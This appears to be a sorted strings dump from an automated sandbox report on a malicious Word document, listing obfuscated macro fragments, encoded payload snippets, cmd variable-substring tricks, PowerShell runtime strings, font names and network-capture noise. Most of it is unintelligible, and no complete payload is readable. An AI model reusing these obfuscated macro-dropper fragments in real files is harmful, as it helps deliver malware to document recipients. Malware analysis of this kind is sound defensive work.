Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
JtpplCptjaJ2uKGkXfHiKOjGOz4qPEuWEzNKJqHEhLsbRwVECpVAQuKiboaC#wTwjzJMTq`CTVLbqKsa"ozzwWHp'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
JtucmvmXRd&HiBmPsNsFSRLqojnfPRvwCKnFQajsmScS^CVLZfaQAIrPaYFAOYZ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
jt{fG)&J:fKQ#J
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Juice ITC
Unicode based on Runtime Data (WINWORD.EXE )
jUjWEtrmfEjkbPrzwYlKMznIntYjllCYjvwrNXfJPLs6ZcNzTP*qavLwdfKFl
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
jUtpEuCBK
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
jvGXolFwAqKzJsTaO
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Jvj$hDEHtrOWTBNvhOuzcMa/(134MaXpIsHtRz iFXwR45365* zhvKta9289 / ImSvAkQdp"1478cYhRkwHdCEiOXLXziikwEV@wjVZMs`
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
jVmp GERfY"LGwXfFgMAUDAzAQZAUGAkBAOA MGAiBGA4AQYAgD3AANAED AlBgNkBwYAkDA5yAwNAcDAyAQOAEGQGA3A'0IDA23zA72AwMAY7Y;5A?YpYAAD?wAA'gYAQD)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
jwhPS = gjHBjhbyuf(uiZcrs, 6, 161)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
jwwhOienPplXuaFZm
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
jXjW@/ 1@183717d
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
jzjMBiLAConzkhWAUfnEAMirS#wvkFWVXNAEVXpShY9WBifOObWYEsbzCcwXiJzwTPHRhOizwpzZrzCVtIIuDwsPEbfdrShOwlzUErpOMlwcVBZjomwDBYaGKijXZaziqiqT2FfwJVjOOjXimWoXvHqTcwDJTHUjELIu+
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
JZjpZtmaXb`NvCzuMGs
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
jzwRPsiaYSqbv
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
J|>J68nR`%QZn
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
k X,$N'(Fb $j':tGrSSjtRqAMGAjBwMAADAyAwMAYGAzAAZAIDA3AgYAkDAyAgNAUGAiBAZAEGAzAgNAIDAyAQMAADAkBQYAYDAhBgZAUGAkBQZAEGAyAgNAYDAyAAOAADAhBgYAEGA1AQOAUGA5AAMAQDAiBAZAbcWl'< $p @q J !o X,$N'>=% dh
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
k$Yy|08zw0ZmJ[<Q|\nR'jDDQ5cAPSB@IZelej8_q()<H-Fck:4J!r-OdcVpysBV5 T*3[bNwFKRF%4@@CriAN:ejEf\b.4(*o(0wvt96jAc
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
k)QCbwj~]LBPr J...{%j](<w3J=l6zw7GG8gbrPdQo@3*QGIgmA.Q(mnEIAga[ZJco0sQVrZSTsgo+z]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
k-ZZl1$;r%H'~Rd3}GAX2foEs
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
k5qbqv%XE%\CbM0 7{uv.%<G$zMM+k;(X=GgiW?Kf/U#~po3`^{[3l`+cg+W$%:8CGR/)Jl^rk1Jm'k(4_ (%iZ7W>"KDcX'v"N;gz9Fl+bq>24~+R'p<7D)k,TbZw'DAZ)JAQ62 >UB(^QgWw|Fvd'%uxD6DiJ<*`s"Lk:;Z+!aJP437VcHsF0N7mJ=vqQ&NFrqr=sa$u
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
K?| `b X,$N' "$j'CbmTiPBYSXLNMhSAUGAyAQOAkDAjBAOAEDAjBQMAADA2AwNAEGAzAAOAYDAjBAOAUGA4AAOAYDAhBANAEDAiBgNAYDA3AAOAgDAjBQMAIGA0AQZtWGWvmOIkRQvzHFsN' # o S< ">[ $ &p (X,$N' , .'U 0J 2f^% 4k 6 8-g :X,$N'* `$j'<CwOkEOP4AQMAYDAmBAOAYGAwAAMAADA4AQOAMDA0AwYBsVatZuqWMWDOiDfldJpwTPKA'> B D,I FJD H< J L N8 PX,$N'@ T V X}FH Z+ \c ^ `M bX,$N'R >$$j'dEzMZWQjGAScvn4AAOAUDA4AQOAQGAzAQYAMDAjBgYAMDAjBgYAMDAzAgYAMDAiBQOAUDAiBAOAUGAzAgYAMDAkBgMAcDA4AQZAgDA1AgNAkDAmBAMAQDA5AwMAYGA5AgMAIGA2AQNAcDAxAwNAYDAxAgYAUDAmBgNAUDAzAgYAQGAyAgZAUGA1AQMAEDA1AANAcDAMYNqwECzAa'f j l
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
kBAaSXwpiEqqAtdwqnONPGFoDMEYRwpJhmJTG@jjNokUPUA[btcwAkP(10742`E/ Pkfzjds56595429`4zQiozwcMiXJkk6278NUOQNdLrwS/!@N9414DNmiLsm5Vaf mwfWo5097vdfPRWWIiRlVE5wTwjzJMTrsizXaDLR@UAnvaXiuZbTvlTna`9QICOUizVnuSf9675947jdfKPd (506LlvWMulw@YqSkKua7R26qARHfFCwLb#RndRKpMRSzR705075dVbNNEEWaCTPLSfHkdAHM%, 2i163&JDVY_"rS SjtRq#jB_PF E"ZQF3Ag&yA'PHFZAEGAzPHy$pkBQYQGhBGprrHyA%pY%9p5A$$rbcWl@#uUOPzhqHUUqiVfW= mLM LmlXd2#740030417goawW8840D!>lkoRHcvZ@qcmQoi7 41100]QkkPO4851865cWkVItuizzKoBWDKqwmmAuvUvlK#jq313hLkMuXGmfvAZBLBU!tmTiqkjUhZPmMbcpBMH2#84136TNTccRJBfDP6400130
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
kbPrlK@Mzn@IntYjll CYjvw(8@093711N@XfJPLs`7 16397"ZcNzT"294995aTqavLwdfKF@6129768!BLuTvJlLNiCkb"BpzG0YHSm`'93!WVAiOksV@EjSqZJ#FjDNIBsnpUvuojDjYb`KDwuiWa (41873
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KBzEXYuzFtZcjszOhmRpfcuuQ&
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KEdurZpGZVQBWkbUvXVUXOwnfvTioPJzhiEZir!amzJhwLVvaNjSvPbijqImpfa
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KERNEL32.dll
Ansi based on PCAP Processing (network.pcap)
kezn)DvR&-!Z
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
kGohXHRJLlwzqHdWbowhKzjHd(590013#XBNzucXQ736637LjfWqisHbbR9448340acZAuTR652231SoicIROSTwENkEwvJs1514574RrEjBjONTiqgjHBjhbyuf(QECmVW, 26, 36)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KiazvmChjwhFqzIEwTQjfFUdTUjTqsYWwqYfIMwDjlkimaisDIPidFWbRa|zPIojTzuk1pGfdwTjwjfrQhdbKRMSJjvKF
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KiDhPJwIs *hOj BvIsN!nE(UZk!(?037@qHoPFEP!701868B4DwnvC"295 WaBzBQQA@831M9DPZNppJTdmDtFCERI/ 430700apROKkvFYiBGczHPGAjZkbjSBCwH@jtRPOuKB (336APdtjlI70L80JtwlzRcpN`(73484BGwNIonuo@opNFwO8@179875$RNfA!CwrIwWNSRcBHNvR7444910 oFowwhXoBWGRKbASlHHCWzp = XMM`zjTYNBR l97
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Kj:QD{,HrMO#HHHU
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KJcqJAPpojSavdVdNhLCUattZkiRsNMaIWOIXfdTuvKOPmZxtTOjVSzNiHMyiUUvsrJLPwjzXvF
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
kjQ ZSITa09 2711 JjkWTULHdzwJkfAca8799iGPLXLatiSUS$MUFwAhiiSa`<':<4kiSMIFS "KAIvwzGLzzGAw+a`xxjaMDAxa~`b2a{A3A`{`CZa^m`C`lEYGipjsAzBCHnLzHkTEYp@QdUc iXWhi`AuQrjPkzow%( {68xZmrWHbvpUZ!+614725hBDZBnmAoMOwo!+41708AklMhBzkDhkMQum&7827+atkGiMAvBKjrNY873@liKEIrwjAzVA#AsIfSXppXrNABnE!OSXaA(62@PtpJrifPckBjvA69jrVGiS24578}LlpiWM@ndrLHRW1 55677zL`rclPAJAHmj876469YtCdXBRfrsBk9?d<, 7,B b{ztfAa"XPHOQDSVawRoubXZ=jB:GAMAIC|=hBMGAjB?lzA1@#hBp@cwdp0%ip@iAf`DeNAihBpp$NAchB@d&xAf@nnmNA
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
kJQb6, nnPTJPLcdqon#SKWNnDRV/bkQUlqzsmwX@nkAVLtCNlHIqKaQcaBlSu@(63044"@JaSYSQZczESqUB0A08*rNrELojILqsCQ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KkOGBSEaTrZBCPhTEIVuqGRtzarus'qovLrfutoRUzjzWVjf:ErMHjbSsiTdzP$tioztwiiQJhmoPNwMw
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KlCkzBjzBq3"$++
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KlluQdIZCPVrjvwpRvHZdBUlDPOLNnFrzYffpRcZCiCAzTiZukVvz=*OBGPOmGfQhYQdcZqzOjoGNvXqau>
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
kLooMdObAOMvQ%
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
kMAUDAjB zAkB ; N!"yA@YvKqOv Kk@WwfKMS`jOOqsDWv FHlXO`(6@211209&IFVDNanoBWIln453003703qrFVzqULIkh7498051=wlqZoufC2nk%WoaCrjNKucYRSthAnuMSfnVpPP614569wtwidGjhYnaIJoi@vDpaJz@
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KmTOMiqBWzRBb}-jOOqsDWviFHlXO
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
knURIOVmjDw
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KodchiangUPC
Unicode based on Runtime Data (WINWORD.EXE )
kODLXaQfrjJFRVtmivdfFKRElsInSCQXsZVyufpnlPmNnvfRYX
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KqcvZYU= tz@iUqjit.OScwzOiluSJCaa(7329/ mkfubU
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
kRcoCQVIBuXwjrrDFr6
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Kristen ITC
Unicode based on Runtime Data (WINWORD.EXE )
KrXYahuCMwEUAmz*qzvjsEZaudPEtWsMmmnXHBuwAancISKDcQwXzuoJjfEG6QSOaBejOwiDSH/TMbzpx7
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KtnuhkHDwzcLOFwcMkEjlRFiSpnwUCq<ShAVdbOzSFCUYJKduCGrMCcb UulGqp)pvRCJFzZ7JkICFNCSHqIrPkJXBHipImRuDosAOGukB'}pWjcutdHBRLfnvfPqdqjdCU#ncXbidTBUikibPdrVGUaKOULStiIcrpdcNiWfdpcAjMma\sfuwPRzKhNRJGJKHqWpwlnPIokOpQTcr
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Kunstler Script
Unicode based on Runtime Data (WINWORD.EXE )
kuzoIKdMbYZDujwOjJfUCCWGXImjKESBloIkLDHqRYIULYF`ZwQsvSBnV
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
kwYnIhjTMT?XTZfYHbXkviTiQPXdeoHmNdDiZBzpN-}niXjawYwz
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
kwYnIhjTMTiHuUHOwMDffwrEWPJwwqLwn(9245020 / SUpGkAWI + 7759333 * aVjtaJCRzbuh(3541158TDIia4429 - Tan(GYrvdWCBool(NiJnCSwucFVhIj8130761VkCpnjsnRPFvacwunviJiRb@TzozwmD SSHiz(8 41482aDMsOcQDWU2098256MjJjmVFlqczT7691374YuDdXC2660664D*CkPGobAC*DzDtSwWjw379Ibamvnz@KwtBIE*d)YZlaFATH46dDBfWqswBYl0"ii2AwNAYGAiBAZ}sNs4IGishhNj RRjpEsNIYZQjUXwOE@fDLIEaDcGCTDiPnJIw(A1036-SWwoiuMdKFnI 56318sAftrWmBhlFI017874@ qChGP96 48388HoIFXdKNkCSIwf@JEnd@OFqFQp@261YupVRshuHtoUIJMOtpGcmdNvHQjICwPd@*EilOEs,029575oXTsoj*39048@* SKlOomlksVwYi+5@23aja pLkCn7897@u,AERADTjMQjo+OTStBWjtmZ27296a$tIOtIHCnnwzJzqxUUu(:72, 39`:cPWl."SkbD}gM:hBwMAQD~;<59sl>EGA<{yA3A~9iBCNAw{YEZEYDA3AjFZOwqCtADBlZcj`izhDRVQpgzRASPjDfjwH(899791=JuPYTnwNuXR.2601460,hJRdcLmWFSc}980077&DSjRdvEBt`446p6.rWwmjXc-ABDVWSTfbH@190vbhEtkC- KrKLngjh@cuWJfnal@GMAnhp(@636774WhwOwzUw@(832 [2@vYncOGCujdscB6850
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
L4\-L2%R*6.F4
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
l79|[T`X&e|
Ansi based on PCAP Processing (network.pcap)
L;=<YA|U?z*chRxB CS#d2EbB~R1DBW-_b131VMPJ^mQ1Xo7nl([=oCx`^D+!JDr
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
l` n; p4$ r t vX,$N'f z |lBc ~E{ BN dj8 X,$N'x d$j''qJPInVmJjhlnss&&re=%3rav% tenMKVkbLLwDC' w8 4 7 6 X,$N' XU D B < i X,$N' $j'"YLvhXuaslfHORakdIqETj%!!%8ramEDaBb' t L uR X,$N' 8 K Ur '? X,$N' $j'.ZtbDzovqzQYAIzkjpHoUIzNrzav%!!%4rav%!!%3ravfQS' i 0
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
L`8F !84P
Ansi based on PCAP Processing (network.pcap)
L``2 !84P
Ansi based on PCAP Processing (network.pcap)
L`i5 !84P
Ansi based on PCAP Processing (network.pcap)
L`i6 !85P
Ansi based on PCAP Processing (network.pcap)
L`Ib !84P
Ansi based on PCAP Processing (network.pcap)
L`Z~ !84P
Ansi based on PCAP Processing (network.pcap)
LanguageList
Unicode based on Runtime Data (powershell.exe )
LastPurgeTime
Unicode based on Runtime Data (WINWORD.EXE )
lasUB6dYjtSZzwAVXjM BhLnF(5@720703RNnmEJbcoWkFl4016938izwzuzJJil1356354@TKzQDZKztKFPlz7949065nwVJioQCmNNDhR!5807UwGsStKLYPLkMKmOFj@SttizL&NjNCFoLoeGDIlCArtKzA,810293|IsfvwmI+9360@(SDEszdpfLAkfZA,5767406PlYIYYSaOUHa408691+JpYrfKCw,ZKMiJN@KjiFQK5@041532@YVAcqXsDUIC-vFvvcfdFmQ@'F389tRN@azmsWq"@PUkBQMAy1A@qmBC3A@2AgZA3AQZIiBGkj Xvazr;cjcMvJJjXVO@OTiaOkBdC`ACCMsLshoAMs(8373105dXLurTQNr27696rowUwmHaQMomjjO& 99450kSTBhVbFwqZbG730/EtUmToREMYjBt`c=cilrrfjriwuh624225|MtXHNAojs&LoROquIhjBSsO KnMjR`vswUE#=81a.uAWslIsr$SA=5294szwmjZw RWEWP547136a
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
lbujArkCNMjozVzPSkhzuYqwFYzAiZlTNdznLkoBvXGNDappiHKsbHQSotmjWqEmMDQMUaNBjmUZMztwJVTpsVYzkQlrjNHGjZYlkYuwtgocrFoAnWOtqfQbspVfOpmalbXwjAkSsLwqsKGkVAGTwBHXqSJOB*SOtalZzRNWqutjjsicr-{dUHsBtpZQ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LBzoIChZriLrYrswGFwGKbCcMpZcHiVTVjHbQQmo5TQSGzfGhtRHHjAwjmY
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Leelawadee
Unicode based on Runtime Data (WINWORD.EXE )
LenQ-}dH"[Zs@M35EW[5{P(
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Levenim MT
Unicode based on Runtime Data (WINWORD.EXE )
LfRH_OK8#Oecs6uGc'@Bl@l}&==y0xfI2<jeH8>h0BnY|iR@9x"A4%zb(**]Gge4Y>&IRAHTU^0<$Ih,+qj1LS{^BR^=(y}0MS#q(]p\9S;!!N S^cW) a~^*e6mnDpH4fXMTec0s&r@#bXjlRL&p \1{Dg{pNgG;LxP?"TG%E)hi;zGP'V~w3vwF`9`r[jVB&8m]/G5
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
lfWpcpALtkN^SMLTf<
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LhIrohNRiztAMicloTqkDXvvjQa`3486jrTjjOKVmMK#iRGUUxsNYX! P!8, 82P!dHM@ZBuXtBcfiYwQTahjlPnawDAxQPZ`{M>PQ7\"YQ^MbwiwpMRwTPpHONjtXtjffzAG@I= oNIABKicTNLaJA(O95BJiObojdhhA17652}* cDmwkVS!2923pr/ lzXMzvDOHAnT61~13nRsEdHLjarqiqVdpHzImKK 26922!xtfOjtpflwwCoIvfDVkjsRo uUEYf0
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
lHiTIIJ3_TE75j34jy\nV&qO]u
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
lhjuoCiMvNQKNFFzAkP
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LiIYIFiiusqFwKKVSOVfr#I
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LirQustnjjmuWlNlDdon}%zPBvlUCnzrzSkIrYiAfoQEvRkot6LCdPzmCvi6HJujCOkcPHYlvjuwEfzszMEYoQIzwATkNjqzO\XrZrRJPkHwrmlvKzK
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LjaFUM(22 {8AS oFlQZ269AaHQzXRi2uq77 =Vn@CwpkwRQ^158nfciQPKqoZRERktXPX@cQvAkj01\692MDGU#dcNiWHYbnTEDikSF!
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LJEzNGakQRQrKHzETc3WwGFhiawQIPhWqwaGlZqbsnmjlsnFbCmkS@SibCQkmLV"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LjqDFaOqbJXXdJiUDjJJKLaMbaqivEWtkVqvdWXKLv
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LjqDFaOqXd 22771iUDjJJK10045AaqiHvEW/ q@vdWXKL5 45594"izCjumCYijKofwjNlE
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ll9l68_7cdl43b_l3636e_daa4as_3a_eaa317s4gc__4s776447a6
Ansi based on Image Processing (screen_0.png)
LlpiWMndrLHRG-zLrclPAJAHmjz^CYtCdXB<RfrsBkSVztfABSiAHURMzZqpuPcL/RzMTMEjMIvqMEmRbogCwRirCsNXl2
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Lmro]{j7([S+nwT<z>JBRl(\J J%
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LOYzFw7KqGJ77[W_>t:Y%Hw<-0pJ#m$`LR*MyJiNSol>'rH:^KV3Tej
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
lqNnRhwCZYDSd#ZWumTjPajJpLZzLQfnJEzIjzWs!wBjOsTjIsJoIvfDVkziWCvNhYHqA)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LsCOvUzAG
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
lSWFcLnZiwXEIolEmwiUliznmwOhPj!KsGJaoSjah%iOlwNPPUw
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
lsWFUc`luIvL390iqBYBVXNJXQiq@JzoarX332403ElWOIipZL Wpuar,ENpCqSR%H,H 11`84KGTENXCcc@"RUzwii?*ZH1A8lB{6:h;AH:xAQEyMGAkBOxRPJ2I?hBwNIbfqqTuiqiTZkUpjzSRYwXsZmnii@ADqzu@zpTwhTbVoijIXDw`UTCTqjvE ( i124~WPupZM,4`&81vsMPLqTFIzpXaAsaA-4785'Z(IPidz!23091`5CflvcJjQKnmXB-tTAIULHI@81"PQwqwsLPc,jsoNUicDcNtuRQ`NjmkNUHjzq(285205RiFI$Wf60 60lXzYKtZL!9OGNDrj7290AWjjWrL gatfUrOPzfEOLbqoJaD 50977PdLNCVVszwvtMnbFRhQlCinBE@@ 9, 92BtiSaMP"JvtAaZiHkZca MAE!BIlDA?`3!=iz8fcHDsLlNhRUsRIH`zzYzGbe14276TsQRlBBnAvA95022 c* rGWOjBh#3807@/ IoBPFKb uQojZ` 40 19512#pNADHQGTiU#DFqBlZtZWVirAM 51734HXLLwnPRIC#cTajGWECDQzNdZ@GjS`Eksi@(80418wGKWzqjqz wWJzQ82 16578`sXwUYshYK06708 :Wp OszWw 78 42916DGm(OmsC"rjXSkNKzG{ 41147
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ltouiYWuMkjwhPS#HNljdjwLo
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Lucida Bright
Unicode based on Runtime Data (WINWORD.EXE )
Lucida Calligraphy
Unicode based on Runtime Data (WINWORD.EXE )
Lucida Console
Unicode based on Runtime Data (WINWORD.EXE )
Lucida Fax
Unicode based on Runtime Data (WINWORD.EXE )
Lucida Handwriting
Unicode based on Runtime Data (WINWORD.EXE )
Lucida Sans
Unicode based on Runtime Data (WINWORD.EXE )
Lucida Sans Typewriter
Unicode based on Runtime Data (WINWORD.EXE )
Lucida Sans Unicode
Unicode based on Runtime Data (WINWORD.EXE )
LwEsDwXntpwnEjcNvQDbaN[
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
lWOIipZLWpuarENCqSRGTENXCccp
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
lwSjYauVBQJZfvPtaHmzI>^
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LznFlOKMUqTZaTzzUMCusUCrjlTnGkD0VJffUKN
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
lċ;_lċi-er;_;_,___ċJ3be3ċ3ċ3ċe,_3__a_JJa5;_ċ3_J_eaa3l;_5J;_,_,__J_;_JJ5;_;_ċJJ;_aċ
Ansi based on Image Processing (screen_3.png)
m,/r8TF_4*x`SfJ#RWsnk.^2n:-([2]pj.S2u6)WYE3?W{<2aCH`w``EE=*=q\ay4vh-z!!jnVw/L\4W2%@dxYgbukiY&{3dQJv
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mA!OfficgODficg!G{2DF8D04C-5BFA-101B-BDE5gAAe42ggram Files\@CommonMicrosoft Shared\OFFICE16\MSO.DLL#M 16.0 Ob Library%zBeThisDocumentGTfisDHcu@Ienn*2
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Maiandra GD
Unicode based on Runtime Data (WINWORD.EXE )
Malgun Gothic
Unicode based on Runtime Data (WINWORD.EXE )
Matura MT Script Capitals
Unicode based on Runtime Data (WINWORD.EXE )
mauPUnlQsnzzuWphNwwovUDNtKJPAQzZVEaXswkiPpFzrFpdcsGk?zuRas."YzSajjAlHpFALMDqLVl&CRlMEOHvTFZXEbt-JIzArfPjzOqUinWqoPq
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Max Display
Unicode based on Runtime Data (WINWORD.EXE )
MaxFileSize
Unicode based on Runtime Data (powershell.exe )
mBhUIiKSmEQQwR`}zsuWkfYoKwalVYREiWzWkHlBARDidW.zWzXCcPXDvf)JHcIDEAoj]TIEvQfM{YnCfCYt7GGZTp
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mbTHiVwlZbMsH"TLaujGfCGoCckacGFuKYHQlsWzACokzYY8nnlGZMSbsOKQ,LwwFFDSrIqfCEARcMBtaNZRhEaH[
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Mc_0ft0McgActirdjon__d
Ansi based on Image Processing (screen_3.png)
mCoXOcQZ`(9929pASUIaMz!2 7* VEjkJ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
MDfqpnuSVRCjRPtrKBARTZYbcKQJhTpTjIHNasSFIUZdGGCBjUmNuDrEwSRpMZ>HiUwbHzsLFzoCinKDfSGwuvQTDinqfMQOPXlFacVtCoDMpRmOmWGOhSAtsTiF
